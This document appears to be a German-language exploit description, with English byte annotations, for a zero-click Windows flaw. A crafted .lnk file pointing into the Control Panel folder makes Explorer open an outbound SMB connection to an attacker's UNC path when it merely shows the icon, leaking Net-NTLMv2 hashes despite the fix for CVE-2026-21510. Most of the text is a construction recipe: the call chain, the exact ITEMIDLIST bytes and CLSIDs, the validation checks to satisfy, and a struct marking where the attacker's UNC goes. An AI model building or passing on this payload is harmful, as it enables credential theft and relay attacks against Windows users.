
Zero-Click-Exploit zur erzwungenen Authentifizierung für den Windows-Systemsteuerungsordner. Ein präparierter .lnk löst während der Symbolanzeige eine UNC-Auflösung aus, erzwingt eine ausgehende SMB-Verbindung, die Net-NTLMv2-Anmeldeinformationen über einen unvollständigen Patch für CVE-2026-21510 preisgibt.
Zero-Click-Erzwingung der Authentifizierung: Das Anzeigen eines Ordners mit der manipulierten .lnk-Datei löst während der Symbolwiedergabe eine UNC-Auflösung aus, wodurch das Opfer zu einer vom Angreifer gesteuerten ausgehenden Verbindung gezwungen wird, die dessen Net-NTLMv2-Anmeldeinformationen preisgibt (und deren Weiterleitung ermöglicht). Entstanden aufgrund einer unvollständigen Behebung von CVE-2026-21510: Die von Microsoft hinzugefügte Vertrauensüberprüfung funktionierte nur während des ShellExecuteExW-Aufrufs, zum Zeitpunkt der Ausführung, aber der Schaden wird bereits an der Stelle von CControlPanelFolder::GetUIObjectOf verursacht, die vor jeder ShellExecute-Vertrauensüberprüfung aufgerufen wird.
Explorer ruft CControlPanelFolder::GetUIObjectOf auf, um das Symbol zu erhalten -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath). Wenn modulepath ein UNC-Pfad ist, wird eine ausgehende SMB-Verbindung hergestellt. Kein Aufruf erforderlich; die Abfrage, ob die Datei existiert, löst einen entfernten aus, und das erzwingt die SMB-Verbindung. Der SMB-Redirector öffnet eine Verbindung zu einem beliebigen Server (TCP/445), löst eine automatische NTLM-Authentifizierung aus und gibt den Net-NTLMv2-Hash des Opfers preis. 0click, das Anzeigen des Symbols reicht aus, um es auszulösen.
statLinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - Item #1 (binds CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (sort order index, hint, not part of the GUID)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (Control Panel CLSID)
. [SHITEMID] - Item #2 (All Control Panel Items view of CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (All Control Panel Items CLSID)
. [SHITEMID] - Item #3 (CPL item parsed by CControlPanelFolder::GetUIObjectOf at render)
cb = 0xXX 0x00 - > 0x18 required; _IsUnicodeCPLWorker: cb must exceed 24
+0x02 .. - header bytes; +0x07 signature masked 0x00 or 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (checked by _IsUnicodeCPLWorker)
+0x0A WORD = 0 - (checked)
+0x0C BYTE = 0 - (checked)
+0x0D BYTE = 0x6A - Unicode-CPL type tag; flips parsing to the wide path
+0x14 WORD - wide offset (WCHARs) to string #2, ex. display name
+0x16 WORD - wide offset (WCHARs) to string #3
+0x18 WCHAR[] - wide string #1 = module path, attacker UNC goes here
Der Typ des Systemsteuerungs-Applet-Elements enthält ein Feld für einen Modulpfad. Ein Modulpfad ist der Pfad zum .cpl-Modul. Shell-Element #3 enthält ein Unicode-Systemsteuerungs-Applet-Element (_IDCONTROLW). Beachten Sie, dass das Element nicht durch das Klassen-Typ-Byte des Shell-Elements (abID[0]) identifiziert wird. Stattdessen werden die Rohbytes als _IDCONTROLW behandelt, wenn _IsUnicodeCPLWorker alle fünf Bedingungen bestätigt:
Dieses Prädikat ermöglicht es dem Code, +0x18 als Modulpfad zu lesen. _IsUnicodeCPLWorker betrachtet die Rohbytes des Elements, prüft diese fünf Bedingungen, und wenn sie bestehen, gibt es einfach denselben Zeiger zurück, der in einen _IDCONTROLW* gecastet wurde.
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // item size; _IsUnicodeCPLWorker requires cb > 0x18
/* +0x02 */ BYTE bClassType; // abID[0] in SHITEMID terms (shell-item type indicator)
/* +0x03 */ BYTE unk_03; // (high bytes of the +0x04 dword; +0x07 masked 0x00/0xFF in sub_18037D040 Gate 0)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000) must be 0x00 or 0xFF
/* +0x08 */ WORD mustBeZero_08; // checked == 0 by _IsUnicodeCPLWorker
/* +0x0A */ WORD mustBeZero_0A; // checked == 0
/* +0x0C */ BYTE mustBeZero_0C; // checked == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : the Unicode-CPL tag (the thing "confirmed")
/* +0x0E */ BYTE unk_0E[6]; // unknown (spans to +0x13)
/* +0x14 */ WORD offString2; // WCHAR offset (into payload) to string #2 — e.g. display name
/* +0x16 */ WORD offString3; // WCHAR offset to string #3
/* +0x18 */ WCHAR szModule[]; // string #1 = module path <-- attacker UNC; GetModule copies from base+24 verbatim
};